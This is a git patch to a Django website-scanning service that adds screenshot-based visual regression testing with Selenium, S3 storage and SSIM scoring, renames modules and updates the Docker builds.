From 56b9e8f243e31ef71ebbb2a0dacf598faa993178 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Tue, 25 Jan 2022 10:23:19 -0600 Subject: [PATCH 001/277] adding VRT --- .gitignore | 6 +- Dockerfile | 32 ++- Dockerfile.prod | 36 ++- app/api/management/commands/driver_test.py | 4 +- app/api/models.py | 4 + app/api/scan_tests/driver_init.py | 35 --- app/api/tasks.py | 8 +- app/api/{scan_tests => utils}/__init__.py | 0 app/api/{scan_tests => utils}/alerts.py | 0 app/api/{scan_tests => utils}/automations.py | 0 .../{scan_tests => utils}/custom-config.js | 0 app/api/utils/driver.py | 87 ++++++++ app/api/utils/image.py | 206 ++++++++++++++++++ app/api/{scan_tests => utils}/lighthouse.py | 6 +- .../scan_site.py => utils/scanner.py} | 14 +- app/api/{scan_tests => utils}/tester.py | 13 +- app/api/v1/ops/serializers.py | 4 +- app/api/v1/ops/services.py | 23 +- app/api/v1/ops/tasks.py | 30 ++- app/scanerr/settings.py | 36 ++- docker-compose.staging.yml | 94 -------- docker-compose.yml | 1 + env/.env.staging.proxy-companion | 3 - nginx_old/Dockerfile | 4 - nginx_old/custom.conf | 27 --- nginx_old/docker-compose.prod_old.yml | 61 ------ nginx_old/nginx.conf | 27 --- nginx_old/vhost.d/default | 9 - requirements.txt | 5 +- 29 files changed, 463 insertions(+), 312 deletions(-) delete mode 100644 app/api/scan_tests/driver_init.py rename app/api/{scan_tests => utils}/__init__.py (100%) rename app/api/{scan_tests => utils}/alerts.py (100%) rename app/api/{scan_tests => utils}/automations.py (100%) rename app/api/{scan_tests => utils}/custom-config.js (100%) create mode 100644 app/api/utils/driver.py create mode 100644 app/api/utils/image.py rename app/api/{scan_tests => utils}/lighthouse.py (94%) rename app/api/{scan_tests/scan_site.py => utils/scanner.py} (88%) rename app/api/{scan_tests => utils}/tester.py (97%) delete mode 100644 docker-compose.staging.yml delete mode 100644 env/.env.staging.proxy-companion delete mode 100644 nginx_old/Dockerfile delete mode 100644 nginx_old/custom.conf delete mode 100644 nginx_old/docker-compose.prod_old.yml delete mode 100644 nginx_old/nginx.conf delete mode 100644 nginx_old/vhost.d/default diff --git a/.gitignore b/.gitignore index 808f4df3..447f81c0 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,6 @@ -app/api/scan_tests/testing_stuff.py +app/api/utils/testing_stuff.py app/data* -app/api/scan_tests/__pycache__/tester.cpython-38.pyc +app/api/utils/__pycache__/tester.cpython-38.pyc .DS_Store *__pycache__* db.sqlite3 @@ -14,3 +14,5 @@ env/.env.staging env/.env.dev env/.env.prod env/.env.prod.db +app/api/migrations/0001_initial.py +app/api/migrations/0002_auto_20220112_2212.py diff --git a/Dockerfile b/Dockerfile index d4488583..184815dc 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,19 +1,18 @@ -FROM python:3.8-alpine +FROM python:3.9-alpine ENV PYTHONUNBUFFERED 1 -COPY ./requirements.txt /requirements.txt # create the app user RUN addgroup -S app && adduser -S app -G app RUN apk add --update --no-cache postgresql-client jpeg-dev +RUN apk add --no-cache --update \ + python3 python3-dev gcc gfortran openssl + RUN apk add --update --no-cache --virtual .tmp-build-deps \ gcc libc-dev linux-headers postgresql-dev musl-dev zlib zlib-dev \ - wget curl unzip -RUN pip install -r /requirements.txt -RUN apk del .tmp-build-deps -RUN apk --no-cache add curl + wget curl unzip build-base libffi libffi-dev # installing chromium and chromium-chromedriver RUN apk add --update --no-cache chromium chromium-chromedriver @@ -24,6 +23,27 @@ RUN apk add --update nodejs npm # installing lighthouse RUN npm install -g lighthouse +# Install numpy +RUN apk add --update --no-cache py3-numpy + +# Install scipy +RUN apk add --update --no-cache py3-scipy + +# setting path for numpy and scipy +ENV PYTHONPATH /usr/lib/python3.9/site-packages + +# super hacky BS to fix Alpine instalation issues with the data science packages +RUN find /usr/lib/python3.9/site-packages -iname "*.so" -exec sh -c 'x="{}"; mv "$x" "${x/cpython-39-x86_64-linux-musl./}"' \; + +# Install sewar +RUN python3 -m pip install --no-deps sewar==0.4.4 + +# install requirements +COPY ./requirements.txt /requirements.txt +RUN python3 -m pip install -r /requirements.txt +RUN apk del .tmp-build-deps +RUN apk --no-cache add curl + RUN mkdir /app COPY ./app /app diff --git a/Dockerfile.prod b/Dockerfile.prod index e8a614be..069fc2ea 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -1,19 +1,18 @@ -FROM python:3.8-alpine +FROM python:3.9-alpine ENV PYTHONUNBUFFERED 1 -COPY ./requirements.txt /requirements.txt # create the app user RUN addgroup -S app && adduser -S app -G app RUN apk add --update --no-cache postgresql-client jpeg-dev +RUN apk add --no-cache --update \ + python3 python3-dev gcc gfortran openssl + RUN apk add --update --no-cache --virtual .tmp-build-deps \ gcc libc-dev linux-headers postgresql-dev musl-dev zlib zlib-dev \ - wget curl unzip -RUN pip install -r /requirements.txt -RUN apk del .tmp-build-deps -RUN apk --no-cache add curl + wget curl unzip build-base libffi libffi-dev # installing chromium and chromium-chromedriver RUN apk add --update --no-cache chromium chromium-chromedriver @@ -24,13 +23,34 @@ RUN apk add --update nodejs npm # installing lighthouse RUN npm install -g lighthouse +# Install numpy +RUN apk add --update --no-cache py3-numpy + +# Install scipy +RUN apk add --update --no-cache py3-scipy + +# setting path for numpy and scipy +ENV PYTHONPATH /usr/lib/python3.9/site-packages + +# super hacky BS to fix Alpine instalation issues with the data science packages +RUN find /usr/lib/python3.9/site-packages -iname "*.so" -exec sh -c 'x="{}"; mv "$x" "${x/cpython-39-x86_64-linux-musl./}"' \; + +# Install sewar +RUN python3 -m pip install --no-deps sewar==0.4.4 + +# install requirements +COPY ./requirements.txt /requirements.txt +RUN python3 -m pip install -r /requirements.txt +RUN apk del .tmp-build-deps +RUN apk --no-cache add curl + + RUN mkdir /app COPY ./app /app -RUN rm -rf /app/static; mkdir /app/static WORKDIR /app # # chown all the files to the app user -# RUN chown -R app /app +# RUN chown -R app:app /app # # change to the app user # USER app \ No newline at end of file diff --git a/app/api/management/commands/driver_test.py b/app/api/management/commands/driver_test.py index 02761f61..ec029a53 100644 --- a/app/api/management/commands/driver_test.py +++ b/app/api/management/commands/driver_test.py @@ -1,7 +1,5 @@ -from ...scan_tests.driver_init import driver_init +from ...utils.driver import driver_init from django.core.management.base import BaseCommand -from selenium import webdriver -from selenium.webdriver.chrome.options import Options import time, os, sys # testing selenium, chromedriver, and chromium installation and configs diff --git a/app/api/models.py b/app/api/models.py index 1e59c360..9043eb60 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -102,6 +102,8 @@ def get_slack_default(): + + class Site(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) @@ -121,6 +123,7 @@ class Scan(models.Model): time_created = models.DateTimeField(default=timezone.now, serialize=True) html = models.TextField(serialize=True, null=True, blank=True) logs = models.JSONField(serialize=True, null=True, blank=True) + images = models.JSONField(serialize=True, null=True, blank=True) scores = models.JSONField(serialize=True, null=True, blank=True) audits = models.JSONField(serialize=True, null=True, blank=True, default=get_audits_default) @@ -141,6 +144,7 @@ class Test(models.Model): html_delta = models.JSONField(serialize=True, null=True, blank=True) logs_delta = models.JSONField(serialize=True, null=True, blank=True) scores_delta = models.JSONField(serialize=True, null=True, blank=True, default=get_scores_delta_default) + images_delta = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): return f'{self.site.site_url}__test' diff --git a/app/api/scan_tests/driver_init.py b/app/api/scan_tests/driver_init.py deleted file mode 100644 index 7f2d38f3..00000000 --- a/app/api/scan_tests/driver_init.py +++ /dev/null @@ -1,35 +0,0 @@ -from selenium import webdriver -from selenium.webdriver.chrome.options import Options -import time, os - - - -def driver_init(): - - prefs = { - 'download.prompt_for_download': False, - 'download.extensions_to_open': '.zip', - 'safebrowsing.enabled': True - } - chrome_path = os.environ.get('CHROMEDRIVER') - WINDOW_SIZE = "1920,1080" - options = webdriver.ChromeOptions() - options.add_experimental_option('prefs',prefs) - options.add_argument("start-maximized") - options.add_argument("--headless") - options.add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) - options.add_argument('--no-sandbox') - options.add_argument('--disable-dev-shm-usage') - options.add_argument("--disable-extensions") - options.add_argument("--window-size=%s" % WINDOW_SIZE) - options.add_argument("--safebrowsing-disable-download-protection") - options.add_argument("safebrowsing-disable-extension-blacklist") - options.add_argument("--disable-gpu") - - driver = webdriver.Chrome(executable_path=chrome_path, options=options) - driver.set_page_load_timeout(20) - driver.set_script_timeout(20) - driver.implicitly_wait(20) - - - return driver \ No newline at end of file diff --git a/app/api/tasks.py b/app/api/tasks.py index 190833f5..f86d0799 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -2,7 +2,7 @@ from celery.utils.log import get_task_logger from celery import shared_task from .v1.ops.tasks import (create_site_task, - create_scan_task, create_test_task + create_scan_task, create_test_task, delete_site_s3 ) from .models import Log from django.contrib.auth.models import User @@ -26,6 +26,12 @@ def create_scan_bg(site_id, automation_id=None): def create_test_bg(site_id, automation_id=None): create_test_task(site_id, automation_id) logger.info('Created new test of site') + + +@shared_task +def delete_site_s3_bg(site_id): + delete_site_s3(site_id) + logger.info('Deleted site s3 objects') @shared_task diff --git a/app/api/scan_tests/__init__.py b/app/api/utils/__init__.py similarity index 100% rename from app/api/scan_tests/__init__.py rename to app/api/utils/__init__.py diff --git a/app/api/scan_tests/alerts.py b/app/api/utils/alerts.py similarity index 100% rename from app/api/scan_tests/alerts.py rename to app/api/utils/alerts.py diff --git a/app/api/scan_tests/automations.py b/app/api/utils/automations.py similarity index 100% rename from app/api/scan_tests/automations.py rename to app/api/utils/automations.py diff --git a/app/api/scan_tests/custom-config.js b/app/api/utils/custom-config.js similarity index 100% rename from app/api/scan_tests/custom-config.js rename to app/api/utils/custom-config.js diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py new file mode 100644 index 00000000..e5031723 --- /dev/null +++ b/app/api/utils/driver.py @@ -0,0 +1,87 @@ +from selenium import webdriver +from selenium.webdriver.common.desired_capabilities import DesiredCapabilities +import time, os, numpy, json + + + +def driver_init(): + + prefs = { + 'download.prompt_for_download': False, + 'download.extensions_to_open': '.zip', + 'safebrowsing.enabled': True + } + chrome_path = os.environ.get("CHROMEDRIVER") + WINDOW_SIZE = "1920,1080" + options = webdriver.ChromeOptions() + options.add_experimental_option('prefs',prefs) + options.add_argument("start-maximized") + options.add_argument("--headless") + options.add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) + options.add_argument("--no-sandbox") + options.add_argument("--disable-dev-shm-usage") + options.add_argument("--disable-extensions") + options.add_argument("--window-size=%s" % WINDOW_SIZE) + options.add_argument("--safebrowsing-disable-download-protection") + options.add_argument("safebrowsing-disable-extension-blacklist") + options.add_argument("--disable-gpu") + + caps = DesiredCapabilities.CHROME + #as per latest docs + caps['goog:loggingPrefs'] = {'performance': 'ALL'} + + driver = webdriver.Chrome(executable_path=chrome_path, options=options, desired_capabilities=caps) + driver.set_page_load_timeout(60) + driver.set_script_timeout(60) + driver.implicitly_wait(60) + + + return driver + + + + +def driver_wait(driver, interval=5, max_wait_time=30): + """ + Pauses the driver until all network requests have been resolved + + returns once driver determines that all request have resolved or + total wait time exceeds max_wait_time + + """ + + def get_request_list(driver): + # get current snapshot of driver requests + requests = driver.get_log('performance') + r_list = [] + for r in requests: + network_log = json.loads(r["message"])["message"] + + # Checks if the current 'method' key has any Network related value. + if("Network.response" in network_log["method"] + or "Network.request" in network_log["method"] + or "Network.webSocket" in network_log["method"]): + + r_list.append(network_log) + + return r_list + + + resolved = False + wait_time = 0 + while not resolved and wait_time < max_wait_time: + # get first set of logs + list_one = get_request_list(driver=driver) + + # wait 5 sec or sec for request to resolve + time.sleep(interval) + + # get second set of logs + list_two = get_request_list(driver=driver) + + # check if logs are equal + resolved = numpy.array_equal(list_one, list_two) + + wait_time += 5 + + return \ No newline at end of file diff --git a/app/api/utils/image.py b/app/api/utils/image.py new file mode 100644 index 00000000..de1b98aa --- /dev/null +++ b/app/api/utils/image.py @@ -0,0 +1,206 @@ +from .driver import driver_init, driver_wait +from selenium import webdriver +from ..models import Site, Scan, Test +from selenium.webdriver.chrome.options import Options +from django.forms.models import model_to_dict +from django.core.serializers.json import DjangoJSONEncoder +from sewar.full_ref import uqi, mse, ssim +from scanerr import settings +from PIL import Image as I +import time, os, sys, json, uuid, boto3, statistics, shutil, numpy + + + + +class Image(): + """ + High level Image handler used to compare screenshots of + a website. Also known as VRT or Visual Regression Testing. + Contains two methods scan() and test(): + + def scan(site, driver=None) -> grabs multiple + screenshots of the website and uploads + them to s3. + + + def test(test=) -> compares each + screenshot in the two scans and records + a score out of 100% + + """ + + + + def scan(self, site, driver=None): + """ + Grabs multiple screenshots of the website and uploads + them to s3. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # initialize driver if not passed as param + driver_present = True + if not driver: + driver = driver_init() + driver_present = False + + + # request site_url + driver.get(site.site_url) + + # scroll one frame at a time and capture screenshot + image_array = [] + index = 0 + last_height = -1 + bottom = False + while not bottom: + + # scroll single frame + if index != 0: + driver.execute_script("window.scrollBy(0, window.innerHeight);") + + # get current position and compare to previous + new_height = driver.execute_script("return window.pageYOffset + window.innerHeight") + height_diff = new_height - last_height + if height_diff > 20: + last_height = new_height + pic_id = uuid.uuid4() + + # waiting for network requests to resolve + driver_wait(driver=driver, interval=5, max_wait_time=30) + + # get screenshot + driver.save_screenshot(f'{pic_id}.png') + image = os.path.join(settings.BASE_DIR, f'{pic_id}.png') + remote_path = f'static/sites/{site.id}/{pic_id}.png' + root_path = settings.AWS_S3_URL_PATH + image_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(image, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"} + ) + # remove local copy + os.remove(image) + + # create image obj and add to list + img_obj = { + "index": index, + "id": str(pic_id), + "url": image_url, + "path": remote_path, + } + + image_array.append(img_obj) + + index += 1 + + else: + bottom = True + + if not driver_present: + driver.quit() + + return image_array + + + + + + + + def test(self, test): + """ + compares each screenshot between the two scans and records + a score out of 100%. + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # setup temp files + if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.site.id}')): + os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.site.id}')) + + # temp root + temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.site.id}') + + # loop through and download each img in scan and compare it. + img_test_results = [] + scores = [] + i = 0 + for pre_img_obj in test.pre_scan.images: + + # getting pre_scan image + pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png') + with open(pre_img_path, 'wb') as data: + s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data) + + # open with PIL Image library + pre_img = I.open(pre_img_path) + # convert to array + pre_img_array = numpy.array(pre_img) + + # getting post_scan image + try: + post_img_obj = test.post_scan.images[i] + except: + post_img_obj = None + + if post_img_obj is not None: + post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png') + with open(post_img_path, 'wb') as data: + s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data) + + # open with PIL Image library + post_img = I.open(post_img_path) + # convert to array + post_img_array = numpy.array(post_img) + + # test images + img_score_tupple = ssim(pre_img_array, post_img_array) + img_score_list = list(img_score_tupple) + img_score = statistics.fmean(img_score_list) * 100 + + # create img test obj and add to array + img_test_obj = { + "index": i, + "pre_img": pre_img_obj, + "post_img": post_img_obj, + "score": img_score, + } + + img_test_results.append(img_test_obj) + scores.append(img_score) + + # remove local copies + if post_img_obj is not None: + os.remove(post_img_path) + os.remove(pre_img_path) + + i += 1 + + # remove temp dir + shutil.rmtree(temp_root) + + # averaging scores and storing in images_delta obj + avg_score = statistics.fmean(scores) + images_delta = { + "average_diff": avg_score, + "images": img_test_results, + } + + return images_delta diff --git a/app/api/scan_tests/lighthouse.py b/app/api/utils/lighthouse.py similarity index 94% rename from app/api/scan_tests/lighthouse.py rename to app/api/utils/lighthouse.py index 4a20400e..b000457c 100644 --- a/app/api/scan_tests/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -7,7 +7,7 @@ class Lighthouse(): - """Initialized Google's Lighthouse CLI and runs an audit of the site""" + """Initializes Google's Lighthouse CLI and runs an audit of the site""" def __init__(self, site=None): @@ -17,7 +17,7 @@ def __init__(self, site=None): def init_audit(self): proc = subprocess.Popen([ 'lighthouse', - '--config-path=api/scan_tests/custom-config.js', + '--config-path=api/utils/custom-config.js', '--quiet', self.site.site_url, '--chrome-flags="--no-sandbox --headless"', @@ -51,7 +51,7 @@ def get_data(self): "best-practices": [], } - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` list + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj for cat in audits: cat_audits = stdout_json["categories"][cat]["auditRefs"] for a in cat_audits: diff --git a/app/api/scan_tests/scan_site.py b/app/api/utils/scanner.py similarity index 88% rename from app/api/scan_tests/scan_site.py rename to app/api/utils/scanner.py index 24711f98..920e7413 100644 --- a/app/api/scan_tests/scan_site.py +++ b/app/api/utils/scanner.py @@ -1,15 +1,14 @@ -from .driver_init import driver_init -from selenium import webdriver +from .driver import driver_init from ..models import Site, Scan, Test -from selenium.webdriver.chrome.options import Options from django.forms.models import model_to_dict from django.core.serializers.json import DjangoJSONEncoder from .lighthouse import Lighthouse +from .image import Image import time, os, sys, json -class ScanSite(): +class Scanner(): def __init__(self, site=None, scan=None): if site == None and scan != None: @@ -24,6 +23,7 @@ def first_scan(self): time.sleep(5) html = self.driver.page_source logs = self.driver.get_log('browser') + images = Image().scan(site=self.site, driver=self.driver) self.driver.quit() lh_data = Lighthouse(self.site).get_data() @@ -31,6 +31,7 @@ def first_scan(self): if self.scan: self.scan.html = html self.scan.logs = logs + self.scan.images = images self.scan.scores = lh_data["scores"] self.scan.audits = lh_data["audits"] self.scan.save() @@ -39,7 +40,7 @@ def first_scan(self): first_scan = Scan.objects.create( site=self.site, html=html, logs=logs, scores=lh_data["scores"], - audits=lh_data["audits"] + audits=lh_data["audits"], images=images ) self.update_site_info(first_scan) @@ -56,13 +57,14 @@ def second_scan(self): time.sleep(5) html = self.driver.page_source logs = self.driver.get_log('browser') + images = Image().scan(site=self.site, driver=self.driver) self.driver.quit() lh_data = Lighthouse(self.site).get_data() second_scan = Scan.objects.create( site=self.site, paired_scan=first_scan, html=html, logs=logs, scores=lh_data['scores'], - audits=lh_data['audits'] + audits=lh_data['audits'], images=images ) second_scan.save() diff --git a/app/api/scan_tests/tester.py b/app/api/utils/tester.py similarity index 97% rename from app/api/scan_tests/tester.py rename to app/api/utils/tester.py index d0d45ebc..481dfdbb 100644 --- a/app/api/scan_tests/tester.py +++ b/app/api/utils/tester.py @@ -2,10 +2,11 @@ import time, os, sys, json, random, string, re from difflib import SequenceMatcher, HtmlDiff from datetime import datetime +from .image import Image -class Test(): +class Tester(): def __init__(self, test): self.test = test @@ -235,6 +236,8 @@ def delta_logs(self): + + def delta_scores(self): try: pre_seo = int(self.test.pre_scan.scores['seo']) @@ -292,6 +295,7 @@ def run_full_test(self): delta_html_data = self.delta_html() delta_logs_data = self.delta_logs() delta_scores_data = self.delta_scores() + images_data = Image().test(test=self.test) num_html_ratio = delta_html_data['num_html_ratio'] num_logs_ratio = delta_logs_data['num_logs_ratio'] delta_scores_avg_diff = delta_scores_data['average_diff'] @@ -303,12 +307,14 @@ def run_full_test(self): delta_html_data['post_micro_delta']['delta_parsed_diff'] ) html_score_w = 1 - logs_score_w = 1 + logs_score_w = .5 num_logs_w = 2 num_html_w = 1 micro_diff_w = 2 - if delta_scores_avg_diff > 0 or delta_scores_avg_diff == None: + if delta_scores_avg_diff == None: + delta_scores_w = 0 + elif delta_scores_avg_diff > 0: delta_scores_w = 0 else: delta_scores_w = 1 @@ -352,6 +358,7 @@ def run_full_test(self): self.test.logs_delta = logs_delta_context self.test.score = score self.test.scores_delta = delta_scores_data + self.test.images_delta = images_data self.test.save() self.update_site_info(self.test) diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index fd8559dc..a27b25d0 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -39,7 +39,7 @@ class ScanSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Scan fields = ['id', 'site', 'paired_scan', 'time_created', - 'html', 'logs', 'scores', 'audits' + 'html', 'logs', 'scores', 'audits', 'images' ] @@ -64,7 +64,7 @@ class Meta: model = Test fields = ['id', 'site', 'time_created', 'time_completed', 'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta', - 'scores_delta' + 'scores_delta', 'images_delta' ] diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 347a39ad..e4ae656e 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -1,4 +1,4 @@ -import json, datetime +import json, datetime, boto3 from django.contrib.auth.models import User from django_celery_beat.models import CrontabSchedule, PeriodicTask from ...models import (Test, Site, Scan, Log, Automation) @@ -11,11 +11,12 @@ SmallScanSerializer, ) from rest_framework.pagination import LimitOffsetPagination -from django.urls import resolve -from ...scan_tests.scan_site import ScanSite -from ...scan_tests.lighthouse import Lighthouse -from ...scan_tests.tester import Test as T -from ...tasks import (create_site_bg, create_scan_bg, create_test_bg) +from ...utils.scanner import Scanner as S +from ...utils.tester import Tester as T +from ...tasks import ( + create_site_bg, create_scan_bg, create_test_bg, + delete_site_s3_bg + ) @@ -94,7 +95,7 @@ def create_site(request, delay=False): if delay == True: create_site_bg.delay(site.id) else: - ScanSite(site=site).first_scan() + S(site=site).first_scan() serializer_context = {'request': request,} serialized = SiteSerializer(site, context=serializer_context) @@ -140,6 +141,10 @@ def delete_site(request, id): record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) + # remove s3 objects + delete_site_s3_bg.delay(site_id=id) + + # remove site site.delete() data = {'message': 'Site has been deleted',} @@ -173,7 +178,7 @@ def create_test(request, delay=False): return Response(data, status=status.HTTP_201_CREATED) else: test = Test.objects.create(site=site) - new_scan = ScanSite(site=site) + new_scan = S(site=site) post_scan = new_scan.second_scan() pre_scan = post_scan.paired_scan pre_scan.paired_scan = post_scan @@ -309,7 +314,7 @@ def create_scan(request, delay=False): return Response(data, status=status.HTTP_201_CREATED) else: created_scan = Scan.objects.create(site=site) - updated_scan = ScanSite(scan=created_scan).first_scan() + updated_scan = S(scan=created_scan).first_scan() serializer_context = {'request': request,} serialized = ScanSerializer(updated_scan, context=serializer_context) diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 5315a86a..2dcd8b64 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -1,19 +1,22 @@ from ...models import (Test, Site, Scan, Log) -from ...scan_tests.scan_site import ScanSite -from ...scan_tests.tester import Test as T -from ...scan_tests.automations import automation +from ...utils.scanner import Scanner as S +from ...utils.tester import Tester as T +from ...utils.automations import automation +import boto3 +from scanerr import settings + def create_site_task(site_id): site = Site.objects.get(id=site_id) - ScanSite(site=site).first_scan() + S(site=site).first_scan() return site def create_scan_task(site_id, automation_id=None): site = Site.objects.get(id=site_id) created_scan = Scan.objects.create(site=site) - scan = ScanSite(scan=created_scan).first_scan() + scan = S(scan=created_scan).first_scan() if automation_id: automation(automation_id, scan.id) return scan @@ -22,7 +25,7 @@ def create_scan_task(site_id, automation_id=None): def create_test_task(site_id, automation_id=None): site = Site.objects.get(id=site_id) created_test = Test.objects.create(site=site) - new_scan = ScanSite(site=site) + new_scan = S(site=site) post_scan = new_scan.second_scan() pre_scan = post_scan.paired_scan pre_scan.paired_scan = post_scan @@ -36,3 +39,18 @@ def create_test_task(site_id, automation_id=None): return test +def delete_site_s3(site_id): + # setup boto3 configurations + s3 = boto3.resource('s3', + aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # deleting s3 objects + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/')).delete() + + return + diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 6414f9ef..1eabe537 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -49,6 +49,7 @@ 'rest_framework.authtoken', 'django_celery_beat', 'markdownify.apps.MarkdownifyConfig', + 'storages', ] MIDDLEWARE = [ @@ -190,8 +191,39 @@ # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.2/howto/static-files/ -STATIC_URL = '/static/' -STATIC_ROOT = os.path.join(BASE_DIR, "static") +# STATIC_URL = '/static/' +# STATIC_ROOT = os.path.join(BASE_DIR, "static") + +# remote storage settings +DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' +STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' + +# Used to authenticate with S3 using 'django-stores' pypi package and 'boto3' +AWS_ACCESS_KEY_ID = os.environ.get('AWS_ACCESS_KEY_ID') +AWS_SECRET_ACCESS_KEY = os.environ.get('AWS_SECRET_ACCESS_KEY') + +# Configure which endpoint to send files to, and retrieve files from. +AWS_STORAGE_BUCKET_NAME = os.environ.get('AWS_STORAGE_BUCKET_NAME') +AWS_S3_REGION_NAME = os.environ.get('AWS_S3_REGION_NAME') +AWS_S3_ENDPOINT_URL = os.environ.get('AWS_S3_ENDPOINT_URL') +AWS_S3_ENDPOINT_PATH = os.environ.get('AWS_S3_ENDPOINT_PATH') +AWS_S3_CUSTOM_DOMAIN = os.environ.get('AWS_S3_CUSTOM_DOMAIN') +AWS_S3_URL_PATH = os.environ.get('AWS_S3_URL_PATH') +STORAGE_DOMAIN = os.environ.get('STORAGE_DOMAIN') +AWS_LOCATION = os.environ.get('AWS_LOCATION') +AWS_DEFAULT_ACL = os.environ.get('AWS_DEFAULT_ACL') + +# General optimization for faster delivery +AWS_IS_GZIPPED = True +AWS_S3_OBJECT_PARAMETERS = { + 'CacheControl': 'max-age=86400', +} + +STATIC_ROOT = 'static' +MEDIA_ROOT = 'media' +STATIC_URL = f"https://{AWS_S3_ENDPOINT_URL}/{STATIC_ROOT}/" +MEDIA_URL = f"https://{AWS_S3_ENDPOINT_URL}/{MEDIA_ROOT}/" + diff --git a/docker-compose.staging.yml b/docker-compose.staging.yml deleted file mode 100644 index 2c8446cb..00000000 --- a/docker-compose.staging.yml +++ /dev/null @@ -1,94 +0,0 @@ -version: '3' - -services: - app: - build: - context: . - dockerfile: Dockerfile.prod - volumes: - - ./app:/app - - static_volume:/app/static - command: > - sh -c "python3 manage.py makemigrations && - python3 manage.py migrate && - python3 manage.py collectstatic --no-input && - python3 manage.py wait_for_db && - python3 manage.py create_admin && - python3 manage.py driver_test && - gunicorn scanerr.wsgi:application --bind 0.0.0.0:8000" - expose: - - 8000 - env_file: - - ./env/.env.prod - # depends_on: - # - db - - # db: - # image: postgres:10-alpine - # env_file: - # - ./env/.env.prod - # volumes: - # - pgdata:/var/lib/postgresql/data - - redis: - image: redis:alpine - - celery: - restart: always - build: - context: . - command: celery -A scanerr worker --beat --scheduler django --loglevel=info - volumes: - - ./app:/scanerr - env_file: - - ./env/.env.prod - depends_on: - # - db - - redis - - app - - - - nginx-proxy: - container_name: nginx-proxy - build: nginx - restart: always - ports: - - 443:443 - - 80:80 - volumes: - - static_volume:/app/static - - certs:/etc/nginx/certs - - html:/usr/share/nginx/html - - vhost:/etc/nginx/vhost.d - - /var/run/docker.sock:/tmp/docker.sock:ro - depends_on: - - app - nginx-proxy-letsencrypt: - image: jrcs/letsencrypt-nginx-proxy-companion - env_file: - - ./env/.env.staging.proxy-companion - volumes: - - /var/run/docker.sock:/var/run/docker.sock:ro - - certs:/etc/nginx/certs - - html:/usr/share/nginx/html - - vhost:/etc/nginx/vhost.d - depends_on: - - nginx-proxy - - - nginx: - build: ./nginx - ports: - - 80:8000 - # depends_on: - # - app - volumes: - - static_volume:/app/static - -volumes: - # pgdata: - static_volume: - certs: - html: - vhost: \ No newline at end of file diff --git a/docker-compose.yml b/docker-compose.yml index 20f7df62..8a163dc0 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -11,6 +11,7 @@ services: command: > sh -c "python3 manage.py makemigrations && python3 manage.py migrate && + python3 manage.py collectstatic --no-input && python3 manage.py wait_for_db && python3 manage.py create_admin && python3 manage.py driver_test && diff --git a/env/.env.staging.proxy-companion b/env/.env.staging.proxy-companion deleted file mode 100644 index c51fdd4f..00000000 --- a/env/.env.staging.proxy-companion +++ /dev/null @@ -1,3 +0,0 @@ -DEFAULT_EMAIL=youremail@yourdomain.com -ACME_CA_URI=https://acme-staging-v02.api.letsencrypt.org/directory -NGINX_PROXY_CONTAINER=nginx-proxy \ No newline at end of file diff --git a/nginx_old/Dockerfile b/nginx_old/Dockerfile deleted file mode 100644 